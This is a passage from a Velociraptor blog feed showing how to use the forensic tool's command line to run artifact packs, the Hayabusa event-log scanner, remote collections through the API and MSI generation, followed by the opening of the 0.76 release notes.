&amp;quot;/results/*.json&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;extending-velociraptor-with-custom-artifacts&#34;&gt;Extending Velociraptor with custom artifacts&lt;/h2&gt;&#xA;&lt;p&gt;While Velociraptor comes with many artifacts built in, the true power&#xA;of VQL is that it enables the community to write custom artifacts to&#xA;parse new file formats or improve on the built in artifacts. This&#xA;allows contributions of cutting edge analysis techniques or&#xA;streamlining artifacts to particular work flows.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor comes with a pre-selection of external artifact sources,&#xA;such as the &lt;a href=&#34;https://www.velociraptor-docs.org/exchange/&#34;&gt;Artifact Exchange&lt;/a&gt;. You can&#xA;import these artifacts to a Velociraptor server using the&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/artifact_references/pages/server.import.extras/&#34;&gt;Server.Import.Extras&lt;/a&gt; server&#xA;artifact.&lt;/p&gt;&#xA;&lt;p&gt;You can also just use these artifacts manually on the command&#xA;line. For example, suppose I wanted to use the&#xA;&lt;a href=&#34;https://triage.velocidex.com/docs/windows.triage.targets/&#34; target=&#34;_blank&#34; &gt;Windows.Triage.Targets&lt;/a&gt;&#xA;artifact to perform a triage acquisition.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34; The Velociraptor Triage Artifacts &#34;&gt;&lt;p&gt;&lt;a href=&#34;https://triage.velocidex.com/&#34; target=&#34;_blank&#34; &gt;The Velociraptor Triage Project&lt;/a&gt; is a&#xA;related project to develop an effective triage acquisition and&#xA;preservation solution using VQL.&lt;/p&gt;&#xA;&lt;p&gt;Files are collected based on &lt;code&gt;Targets&lt;/code&gt; which are heirarchical. Some&#xA;high level targets include &lt;code&gt;_KapeTriage&lt;/code&gt; or &lt;code&gt;_Live&lt;/code&gt; which collect a&#xA;large number of files for preservation purposes.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;Since this artifact is not built in, I will need to download the&#xA;&lt;a href=&#34;https://triage.velocidex.com/docs/windows.triage.targets/Windows.Triage.Targets.zip&#34; target=&#34;_blank&#34; &gt;Artifact&#xA;Pack&lt;/a&gt;&#xA;(You can find the link to the pack from&#xA;&lt;a href=&#34;https://triage.velocidex.com/%29&#34; target=&#34;_blank&#34; &gt;https://triage.velocidex.com/)&lt;/a&gt;. The artifact pack is simply a ZIP file&#xA;with yaml artifacts in it.&lt;/p&gt;&#xA;&lt;p&gt;To collect a high level target and store the resulting collection in a&#xA;zip file I can use the following command line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;velociraptor.exe -v --definitions c:\Windows.Triage.Targets.zip&#xA;  -r Windows.Triage.Targets&#xA;  --HighLevelTargets _KapeTriage,_Live&#xA;  -o c:\output\test.zip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;-v&lt;/code&gt; flag emits progress messages in verbose mode (This is&#xA;recommended for interactive use).&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;--definitions&lt;/code&gt; flag loads the custom artifacts directly from&#xA;the artifact pack.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;-r&lt;/code&gt; flag says to run the artifact &lt;code&gt;Windows.Triage.Targets&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;--HighLevelTargets&lt;/code&gt; flag is a parameter for the&#xA;&lt;code&gt;Windows.Triage.Targets&lt;/code&gt; artifact will collect the high level&#xA;&lt;code&gt;_KapeTriage&lt;/code&gt; target as well as the &lt;code&gt;_Live&lt;/code&gt; target.&lt;/li&gt;&#xA;&lt;li&gt;Finally the output zip will be stored in &lt;code&gt;c:\output\test.zip&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You can maintain your own ZIP file with your favorite artifacts for&#xA;your own use to suite your own workflows.&lt;/p&gt;&#xA;&lt;h2 id=&#34;using-external-tools-on-the-cli&#34;&gt;Using external tools on the CLI&lt;/h2&gt;&#xA;&lt;p&gt;So far we have seen how to use Velociraptor&amp;rsquo;s built in capabilities on&#xA;the command line, but sometimes other tools may provide some&#xA;capabilities which are still missing from Velociraptor.&lt;/p&gt;&#xA;&lt;p&gt;Usually this is not a problem since Velociraptor allows us to&#xA;incorporate third party tools via its &lt;a href=&#34;https://www.velociraptor-docs.org/docs/artifacts/tools/&#34;&gt;External Tools&lt;/a&gt; support.&lt;/p&gt;&#xA;&lt;p&gt;External tools are declared in the artifact definition and the VQL is&#xA;written to launch the tool, and parse its output into the same machine&#xA;readable format as native artifacts.&lt;/p&gt;&#xA;&lt;p&gt;In the following example I will use the&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/exchange/artifacts/pages/windows.eventlogs.hayabusa/&#34;&gt;Windows.EventLogs.Hayabusa&lt;/a&gt; artifact&#xA;to run an initial triage over the system. This artifact runs an&#xA;external tool &lt;a href=&#34;https://github.com/Yamato-Security/hayabusa&#34; target=&#34;_blank&#34; &gt;Hayabusa&lt;/a&gt;&#xA;to do the analysis. You can find this artifact in the &lt;a href=&#34;https://www.velociraptor-docs.org/exchange/&#34;&gt;Artifact&#xA;Exchange&lt;/a&gt; so I will use that artifact pack&#xA;to load it.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;C:\Windows\System32&amp;gt;f:\velociraptor.exe -v --definitions c:\Users\test\Downloads\artifact_exchange_v2.zip -r Windows.EventLogs.Hayabusa -o c:\output\test.zip&#xA;&#xA;[INFO] 2026-03-23T18:22:52-07:00  _    __     __           _                  __&#xA;[INFO] 2026-03-23T18:22:52-07:00 | |  / /__  / /___  _____(_)________ _____  / /_____  _____&#xA;[INFO] 2026-03-23T18:22:52-07:00 | | / / _ \/ / __ \/ ___/ / ___/ __ `/ __ \/ __/ __ \/ ___/&#xA;[INFO] 2026-03-23T18:22:52-07:00 | |/ /  __/ / /_/ / /__/ / /  / /_/ / /_/ / /_/ /_/ / /&#xA;[INFO] 2026-03-23T18:22:52-07:00 |___/\___/_/\____/\___/_/_/   \__,_/ .___/\__/\____/_/&#xA;[INFO] 2026-03-23T18:22:52-07:00                                   /_/&#xA;[INFO] 2026-03-23T18:22:52-07:00 Digging deeper!                  https://www.velocidex.com&#xA;[INFO] 2026-03-23T18:22:52-07:00 This is Velociraptor 0.76.1 built on 2026-03-24T11:08:49+10:00 (90f260124)&#xA;[INFO] 2026-03-23T18:22:52-07:00 Env var VELOCIRAPTOR_API_CONFIG is not set&#xA;[INFO] 2026-03-23T18:22:52-07:00 Env var VELOCIRAPTOR_CONFIG is not set&#xA;[INFO] 2026-03-23T18:22:52-07:00 Env var VELOCIRAPTOR_LITERAL_CONFIG is not set&#xA;[INFO] 2026-03-23T18:22:52-07:00 Setting empty config&#xA;...&#xA;[INFO] 2026-03-23T18:22:52-07:00 Loaded artifact_exchange_v2.zip:content/exchange/artifacts/Windows.Forensics.PersistenceSniper.yaml&#xA;[INFO] 2026-03-23T18:22:52-07:00 Loaded artifact_exchange_v2.zip:content/exchange/artifacts/Linux.Sysinternals.SysmonEvent.yaml&#xA;[INFO] 2026-03-23T18:22:52-07:00 Loaded artifact_exchange_v2.zip:content/exchange/artifacts/MacOS.Applications.Safari.History.yaml&#xA;....&#xA;[INFO] 2026-03-23T18:22:52-07:00 Setting compression level to 5&#xA;[INFO] 2026-03-23T18:22:52-07:00 Will create container at c:\output\test.zip&#xA;[INFO] 2026-03-23T18:22:52-07:00 Creating tempfile C:\Users\test\AppData\Local\Temp\tmp1257539671..zip&#xA;[INFO] 2026-03-23T18:22:52-07:00 Downloading tool Hayabusa-3.8.1 FROM https://github.com/Yamato-Security/hayabusa/releases/download/v3.8.1/hayabusa-3.8.1-win-x64-live-response.zip&#xA;[INFO] 2026-03-23T18:22:53-07:00 tempdir: Adding global destructor for C:\Users\test\AppData\Local\Temp\tmp1843750255&#xA;[INFO] 2026-03-23T18:22:53-07:00 Local hash of C:\Users\test\AppData\Local\Temp\tmp1257539671..zip: 51ef2aff99bb3ed4e5ebe5b07053c62719263ca7a49223bb0e0bb8785eb479a0, expected 51ef2aff99bb3ed4e5ebe5b07053c62719263ca7a49223bb0e0bb8785eb479a0&#xA;[INFO] 2026-03-23T18:22:54-07:00 execve: Running external command [C:\Users\test\AppData\Local\Temp\tmp1431191296\hayabusa-3.8.1-win-x64.exe update-rules]&#xA;[INFO] 2026-03-23T18:22:55-07:00 execve: Running external command [C:\Users\test\AppData\Local\Temp\tmp1431191296\hayabusa-3.8.1-win-x64.exe csv-timeline --no-wizard --quiet --no-summary --directory C:/Windows/System32/winevt/Logs --output C:\Users\test\AppData\Local\Temp\tmp1431191296\hayabusa_results.csv --min-level medium --profile standard --ISO-8601 --threads 4]&#xA;[INFO] 2026-03-23T18:22:55-07:00 Start time: 2026/03/23 18:22&#xA;[INFO] 2026-03-23T18:22:55-07:00 Total event log files: 371&#xA;[INFO] 2026-03-23T18:22:55-07:00 Total file size: 187.2 MiB&#xA;....&#xA;[INFO] 2026-03-23T18:23:31-07:00 Please submit new Sigma rules with pull requests to: https://github.com/SigmaHQ/sigma/pulls&#xA;[INFO] 2026-03-23T18:23:31-07:00&#xA;[INFO] 2026-03-23T18:23:31-07:00 Starting collection of Windows.EventLogs.Hayabusa/Upload&#xA;[INFO] 2026-03-23T18:23:31-07:00 Collecting file C:\Users\test\AppData\Local\Temp\tmp1431191296\hayabusa_results.csv into /uploads/auto/hayabusa_results.csv (20775842 bytes)&#xA;[INFO] 2026-03-23T18:23:41-07:00 Collected 1 rows for Windows.EventLogs.Hayabusa/Upload&#xA;[INFO] 2026-03-23T18:23:41-07:00 Starting collection of Windows.EventLogs.Hayabusa/Results&#xA;[INFO] 2026-03-23T18:23:43-07:00 Collected 38791 rows for Windows.EventLogs.Hayabusa/Results&#xA;[INFO] 2026-03-23T18:23:43-07:00 RemoveDirectory: removing tempdir C:\Users\test\AppData\Local\Temp\tmp1431191296&#xA;[INFO] 2026-03-23T18:23:43-07:00 RemoveDirectory: removed tempdir C:\Users\test\AppData\Local\Temp\tmp1431191296&#xA;[INFO] 2026-03-23T18:23:43-07:00 RemoveDirectory: removing tempdir C:\Users\test\AppData\Local\Temp\tmp1843750255&#xA;[INFO] 2026-03-23T18:23:43-07:00 RemoveDirectory: removed tempdir C:\Users\test\AppData\Local\Temp\tmp1843750255&#xA;[DEBUG] 2026-03-23T18:23:43-07:00 Query Stats: {&amp;quot;RowsScanned&amp;quot;:116412,&amp;quot;PluginsCalled&amp;quot;:12,&amp;quot;FunctionsCalled&amp;quot;:77652,&amp;quot;ProtocolSearch&amp;quot;:35,&amp;quot;ScopeCopy&amp;quot;:271656}&#xA;[INFO] 2026-03-23T18:23:43-07:00 Container hash e843a8391e648be3df54c7440a8d6a4d4ee317ad1a8d3e716229811a8237c27f&#xA;[&#xA; {&#xA;   &amp;quot;Container&amp;quot;: &amp;quot;c:\\output\\test.zip&amp;quot;,&#xA;   &amp;quot;Error&amp;quot;: null&#xA; }&#xA;][INFO] 2026-03-23T18:23:43-07:00 Collection completed in 50.5909007s Seconds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above output shows the steps that Velociraptor goes through:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Importing the custom artifacts from the Artifact Exchange pack.&lt;/li&gt;&#xA;&lt;li&gt;Downloading the Hayabusa tool into a temp file&lt;/li&gt;&#xA;&lt;li&gt;Perform an integrity check against the hash specified in the artifact.&lt;/li&gt;&#xA;&lt;li&gt;Run the Hayabusa tool&lt;/li&gt;&#xA;&lt;li&gt;Collect the output CSV file&lt;/li&gt;&#xA;&lt;li&gt;Clean up various temp directories&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;div class=&#34;mynotices warning&#34;&gt;&#xA;  &lt;div heading=&#34; Running external binaries &#34;&gt;&lt;p&gt;Although it is convenient to collect artifacts with external binaries,&#xA;this can be a problem in practice.&lt;/p&gt;&#xA;&lt;p&gt;Introducing binaries to an end point may trigger security software&#xA;alert and can present risks to stability and security, especially if&#xA;the binary is not very trusted.&lt;/p&gt;&#xA;&lt;p&gt;Additionally running third party tools can interfere with the forensic&#xA;evidence we usually collect. For example executables can create&#xA;additional prefetch entries, powershell may introduce script block&#xA;logs and USN journals may be rotated.&lt;/p&gt;&#xA;&lt;p&gt;Many external tools actually have equivalent native VQL parsers - for&#xA;example the&#xA;&lt;a href=&#34;https://sigma.velocidex.com/docs/artifacts/windows.hayabusa.rules/&#34; target=&#34;_blank&#34; &gt;Windows.Hayabusa.Rules&lt;/a&gt;&#xA;artifact uses the same rules in Hayabusa but using Velociraptor&amp;rsquo;s&#xA;built in Sigma engine.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;using-the-cli-to-collect-artifacts-remotely&#34;&gt;Using the CLI to collect artifacts remotely&lt;/h2&gt;&#xA;&lt;p&gt;So far we have seen how to interactively collect artifacts while being&#xA;logged on to the endpoint directly. This is convenient and very&#xA;simple, the user simply selects the artifact they need to collect and&#xA;the results are stored to a local file on their system!&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s super power is the ability to collect forensic&#xA;artifacts at scale and remotely. This is very easy to do using the&#xA;powerful &lt;a href=&#34;https://www.velociraptor-docs.org/docs/clients/artifacts/&#34;&gt;Velociraptor GUI&lt;/a&gt;&#xA;but sometimes using the CLI is better (e.g. for automation).&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s server can be fully controlled over &lt;a href=&#34;https://www.velociraptor-docs.org/docs/server_automation/server_api/&#34;&gt;Velociraptor&amp;rsquo;s&#xA;API&lt;/a&gt;. The API allows&#xA;any VQL plugin to be run on the server, thereby facilitating full&#xA;automation.&lt;/p&gt;&#xA;&lt;p&gt;In release 0.76, Velociraptor&amp;rsquo;s CLI was streamlined to have the same&#xA;user interface for collecting artifacts from an endpoint or&#xA;interactively. This makes it more intuitive to use.&lt;/p&gt;&#xA;&lt;p&gt;In the following example, I collect the &lt;code&gt;Windows.Forensics.Lnk&lt;/code&gt;&#xA;artifact remotely from a client using the CLI. This artifact scans the&#xA;endpoint for &lt;code&gt;LNK&lt;/code&gt; files, parses them and reports any suspicious&#xA;files.&lt;/p&gt;&#xA;&lt;p&gt;Before I start I will create an &lt;a href=&#34;https://www.velociraptor-docs.org/docs/server_automation/server_api/#creating-an-api-client-configuration&#34;&gt;API key&lt;/a&gt; so I can connect to the server:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;velociraptor --config server.config.yaml config api_client --name APIClient --role administrator api.config.yaml&#xA;&#xA;Creating API client file on api.config.yaml.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Next I collect that artifact in the exact same way as I did above, except that I now provide a client id:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;velociraptor -v --api_config api.config.yaml -r Windows.Forensics.Lnk&#xA;   --UploadTarget Y&#xA;   --client_id C.d7f8859f5e0e01f7&#xA;   -o c:\datastore\test.zip&#xA;&#xA;[INFO] 2026-03-28T14:34:25-07:00  _    __     __           _                  __&#xA;[INFO] 2026-03-28T14:34:25-07:00 | |  / /__  / /___  _____(_)________ _____  / /_____  _____&#xA;[INFO] 2026-03-28T14:34:25-07:00 | | / / _ \/ / __ \/ ___/ / ___/ __ `/ __ \/ __/ __ \/ ___/&#xA;[INFO] 2026-03-28T14:34:25-07:00 | |/ /  __/ / /_/ / /__/ / /  / /_/ / /_/ / /_/ /_/ / /&#xA;[INFO] 2026-03-28T14:34:25-07:00 |___/\___/_/\____/\___/_/_/   \__,_/ .___/\__/\____/_/&#xA;[INFO] 2026-03-28T14:34:25-07:00                                   /_/&#xA;[INFO] 2026-03-28T14:34:25-07:00 Digging deeper!                  https://www.velocidex.com&#xA;[INFO] 2026-03-28T14:34:25-07:00 This is Velociraptor 0.76.1 built on 2026-03-24T11:08:49+10:00 (90f260124)&#xA;[INFO] 2026-03-28T14:34:25-07:00 Loaded api config from api.config.yaml&#xA;...&#xA;[INFO] 2026-03-28T14:34:25-07:00 API Client configuration loaded - will make gRPC connection.&#xA;[INFO] 2026-03-28T14:34:25-07:00 Starting query execution.&#xA;[INFO] 2026-03-28T14:34:25-07:00 Scheduled flow F.D744IO927Q3HM on client C.d7f8859f5e0e01f7: [Windows.Forensics.Lnk]&#xA;[INFO] 2026-03-28T14:34:26-07:00 Waiting for flow to finish F.D744IO927Q3HM: Status WAITING&#xA;[INFO] 2026-03-28T14:34:27-07:00 Compiled all artifacts.&#xA;[INFO] 2026-03-28T14:34:27-07:00 Collection succeeded&#xA;[INFO] 2026-03-28T14:34:27-07:00 Time 0: : Sending response part 0 124 B (1 rows).&#xA;{&amp;quot;Download&amp;quot;:[&amp;quot;downloads&amp;quot;,&amp;quot;C.d7f8859f5e0e01f7&amp;quot;,&amp;quot;F.D744IO927Q3HM&amp;quot;,&amp;quot;WIN-SJE0CKQO83P-C.d7f8859f5e0e01f7-F.D744IO927Q3HM.zip&amp;quot;]}&#xA;[INFO] 2026-03-28T14:34:27-07:00 Storing collection in c:\datastore\test.zip with SHA256 hash 8f67fda6ec225540f0f4ee964f76d9ed4cdaae2c939741460f0ecf27070d8644&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The CLI command contains:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;--api_config api.config.yaml&lt;/code&gt; is the client API key that was&#xA;generated for connections to the API.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-r Windows.Forensics.Lnk&lt;/code&gt; collect the &lt;code&gt;Windows.Forensics.Lnk&lt;/code&gt; artifact&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;--UploadTarget Y&lt;/code&gt; an artifact parameter to also upload the raw LNK&#xA;files for preservation.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;--client_id C.d7f8859f5e0e01f7&lt;/code&gt; The client ID to target (each Velociraptor client has a unique ID).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-o c:\datastore\test.zip&lt;/code&gt; store the results in this local file.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Velociraptor then goes through these steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Schedules a flow on the client. Velociraptor clients can only be&#xA;tasked via a &lt;code&gt;Flow&lt;/code&gt;. You can think of a flow as a unique identifier&#xA;under which the server is able to track this collection, store the&#xA;results and display it in the GUI.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Once the flow is scheduled, the command waits for the collection to&#xA;complete. This can take some time, or even not happen at all. For&#xA;example, if the client is offline, the flow will not complete until&#xA;the client comes back online.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor flows are typically asynchronous and a more robust&#xA;approach using the API needs to account for this. However, assuming&#xA;the client is online this convenient approach should work&#xA;relatively quickly.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Once the flow completes, Velociraptor will export it to a ZIP file&#xA;and fetch it from the server.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The collection is stored into the relevant location just as it was before.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The nice thing about this new workflow is that it is very similar to&#xA;the interactive use we saw before. The collection ends up on the&#xA;analyst&amp;rsquo;s local workstation as a simple file ready for further&#xA;automation or inspection.&lt;/p&gt;&#xA;&lt;p&gt;The new CLI workflow is just a convenience around a number of API&#xA;calls. We received feedback that users found using the raw API&#xA;difficult, so this new workflow was introduced for the simple case of&#xA;scheduling a collection, and receiving the results. If you want to use&#xA;the raw API to replicate a similar function in your own scripts, you&#xA;can look at the source code for this command to inspect the raw API&#xA;calls used.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices warning&#34;&gt;&#xA;  &lt;div heading=&#34; Offline clients &#34;&gt;&lt;p&gt;When schedule a collection as above, the CLI waits for the collection&#xA;to end before downloading the results. This may take a long time if&#xA;the client is not currently online. In this case the CLI will timeout&#xA;and exit.&lt;/p&gt;&#xA;&lt;p&gt;You can retrieve the results at a later time by knowing the flow id&#xA;that was scheduled. Use the &lt;code&gt;artifacts fetch&lt;/code&gt; command to fetch a&#xA;collected artifact from the server.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;velociraptor.exe -v  --api_config api.config.yaml  artifacts fetch --client_id C.d7f8859f5e0e01f7 --flow_id F.D744IO927Q3HM --output c:\output\test.zip&#xA;&#xA;[INFO] 2026-03-28T14:47:14-07:00  _    __     __           _                  __&#xA;[INFO] 2026-03-28T14:47:14-07:00 | |  / /__  / /___  _____(_)________ _____  / /_____  _____&#xA;[INFO] 2026-03-28T14:47:14-07:00 | | / / _ \/ / __ \/ ___/ / ___/ __ `/ __ \/ __/ __ \/ ___/&#xA;[INFO] 2026-03-28T14:47:14-07:00 | |/ /  __/ / /_/ / /__/ / /  / /_/ / /_/ / /_/ /_/ / /&#xA;[INFO] 2026-03-28T14:47:14-07:00 |___/\___/_/\____/\___/_/_/   \__,_/ .___/\__/\____/_/&#xA;[INFO] 2026-03-28T14:47:14-07:00                                   /_/&#xA;[INFO] 2026-03-28T14:47:14-07:00 Digging deeper!                  https://www.velocidex.com&#xA;[INFO] 2026-03-28T14:47:14-07:00 This is Velociraptor 0.76.1 built on 2026-03-24T11:08:49+10:00 (90f260124)&#xA;[INFO] 2026-03-28T14:47:14-07:00 Loaded api config from api.config.yaml&#xA;[INFO] 2026-03-28T14:47:14-07:00 Starting query execution.&#xA;[INFO] 2026-03-28T14:47:14-07:00 Time 0: : Sending response part 0 124 B (1 rows).&#xA;{&amp;quot;Download&amp;quot;:[&amp;quot;downloads&amp;quot;,&amp;quot;C.d7f8859f5e0e01f7&amp;quot;,&amp;quot;F.D744IO927Q3HM&amp;quot;,&amp;quot;WIN-SJE0CKQO83P-C.d7f8859f5e0e01f7-F.D744IO927Q3HM.zip&amp;quot;]}&#xA;[INFO] 2026-03-28T14:47:14-07:00 Storing collection in c:\output\test.zip with SHA256 hash f874e1cce6349d28ea49ce0fb00df845a5f0f6917550ee2cc867f679268f6a3c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;using-the-cli-to-manage-the-server&#34;&gt;Using the CLI to manage the server&lt;/h2&gt;&#xA;&lt;p&gt;In the previous section we saw how to schedule an artifact on a remote&#xA;client, wait for the result and fetch it to the local machine. In this&#xA;section we see how to do the same thing on the server. This is useful&#xA;for various server management tasks.&lt;/p&gt;&#xA;&lt;p&gt;For this example, I will generate new Windows client MSI packages that&#xA;can be installed on the fleet. This is usually done via the&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/artifact_references/pages/server.utils.createmsi/&#34;&gt;Server.Utils.CreateMSI&lt;/a&gt; artifact:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;&amp;gt; velociraptor.exe -v --api_config api.config.yaml -r Server.Utils.CreateMSI --client_id server -o c:\datastore\test.zip&#xA;&#xA;...&#xA;[INFO] 2026-03-28T14:58:50-07:00 Scheduled flow F.D744U6L0423QA on client server: [Server.Utils.CreateMSI]&#xA;[INFO] 2026-03-28T14:58:51-07:00 Waiting for flow to finish F.D744U6L0423QA: Status FINISHED&#xA;[INFO] 2026-03-28T14:58:51-07:00 Collection succeeded&#xA;[DEBUG] 2026-03-28T14:58:51-07:00  downloadFlowToZip: Copy file from /clients/server/collections/F.D744U6L0423QA/uploads/scope/Org_&amp;lt;root&amp;gt;_velociraptor-v0.76.1-rc1-windows-amd64.msi to /uploads/scope/Org_&amp;lt;root&amp;gt;_velociraptor-v0.76.1-rc1-windows-amd64.msi&#xA;[INFO] 2026-03-28T14:58:52-07:00 Compiled all artifacts.&#xA;[INFO] 2026-03-28T14:58:52-07:00 Time 1: : Sending response part 0 91 B (1 rows).&#xA;{&amp;quot;Download&amp;quot;:[&amp;quot;downloads&amp;quot;,&amp;quot;server&amp;quot;,&amp;quot;F.D744U6L0423QA&amp;quot;,&amp;quot;server-server-F.D744U6L0423QA.zip&amp;quot;]}&#xA;[INFO] 2026-03-28T14:58:54-07:00 Storing collection in c:\datastore\test.zip with SHA256 hash 27ab24548521139ff489715350181d0c9b119fbb21b5e4b9c655f3deab87b09c&#xA;&#xA;&amp;gt; velociraptor.exe unzip -l c:\datastore\test.zip&#xA;[&#xA;...&#xA;  {&#xA;    &amp;quot;Filename&amp;quot;: &amp;quot;/uploads/scope/Org_%3Croot%3E_velociraptor-v0.76.1-rc1-windows-amd64.msi&amp;quot;,&#xA;    &amp;quot;Size&amp;quot;: 29114368&#xA;  },&#xA;...&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The server creates the MSI then it gets downloaded to my local&#xA;workstation as part of the artifact collection.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;In this blog post we saw how to use the Command Line Interface (CLI)&#xA;to achieve various tasks with simplicity and speed. The CLI interface&#xA;makes artifacts into an extensible mini VQL program which can be used&#xA;conveniently as an isolated tool.&lt;/p&gt;&#xA;&lt;p&gt;Instead of writing your own stand alone script to perform a single use&#xA;analysis, please consider writing it as a VQL artifact. The benefits&#xA;to the user include:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A single user interface, both CLI and GUI&lt;/li&gt;&#xA;&lt;li&gt;The ability to collect the artifact at scale from many endpoints at the same time.&lt;/li&gt;&#xA;&lt;li&gt;Machine readable output which can be parsed and post-processed by others&lt;/li&gt;&#xA;&lt;li&gt;The ability to submit your work to the Artifact Exchange for wider visibility within the community.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor 0.76 Release</title>
      <link>https://www.velociraptor-docs.org/blog/2026/2026-03-10-release-notes-0.76/</link>
      <pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2026/2026-03-10-release-notes-0.76/</guid>
      <description>&lt;p&gt;I am very excited to announce that the latest Velociraptor release&#xA;0.76 is now available.&lt;/p&gt;&#xA;&lt;p&gt;In this post I will discuss some of the new features introduced by&#xA;this release.&lt;/p&gt;&#xA;&lt;h2 id=&#34;gui-improvements&#34;&gt;GUI Improvements&lt;/h2&gt;&#xA;&lt;p&gt;This release improves a number of GUI features.&lt;/p&gt;&#xA;&lt;h3 id=&#34;local-searchable-documentation&#34;&gt;Local searchable documentation&lt;/h3&gt;&#xA;&lt;p&gt;Recently we have been having issues with Google refusing to index our&#xA;documentation website, despite our best efforts to get them to do&#xA;so. This has made it frustrating for users trying to find relevant&#xA;technical information.&lt;/p&gt;&#xA;&lt;p&gt;To help mitigate this problem we have added a local documentation&#xA;search feature that allows you to search our docs directly from the&#xA;Velociraptor GUI. You can read more about how to use it&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/docs/gui/local_docs/&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2026/2026-03-10-release-notes-0.76//blog/2026/2026-03-10-release-notes-0.76/local_docs_search.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Local documentation search and preview&#34;&#xA;         width=&#34;1200&#34; height=&#34;753&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;local_docs_search.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Local documentation search and preview&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This search feature is powered by the&#xA;&lt;a href=&#34;https://blevesearch.com/&#34; target=&#34;_blank&#34; &gt;Bleve&lt;/a&gt; search engine, which is also now&#xA;available to be used for indexing and searching VQL query results &lt;a href=&#34;#full-text-indexing-and-searching&#34;&gt;as&#xA;described below&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;cli-improvements&#34;&gt;CLI Improvements&lt;/h2&gt;&#xA;&lt;p&gt;The command line interface has been streamlined to use artifacts as&#xA;extensible mini-VQL programs. This makes it easy to use specific&#xA;artifacts as replacements for one shot scripts. See our blog post on&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/blog/2026/2026-03-21-cli/&#34;&gt;The Velociraptor CLI&lt;/a&gt; for a&#xA;complete discussion.&lt;/p&gt;&#xA;&lt;h2 id=&#34;new-vql-plugins&#34;&gt;New VQL 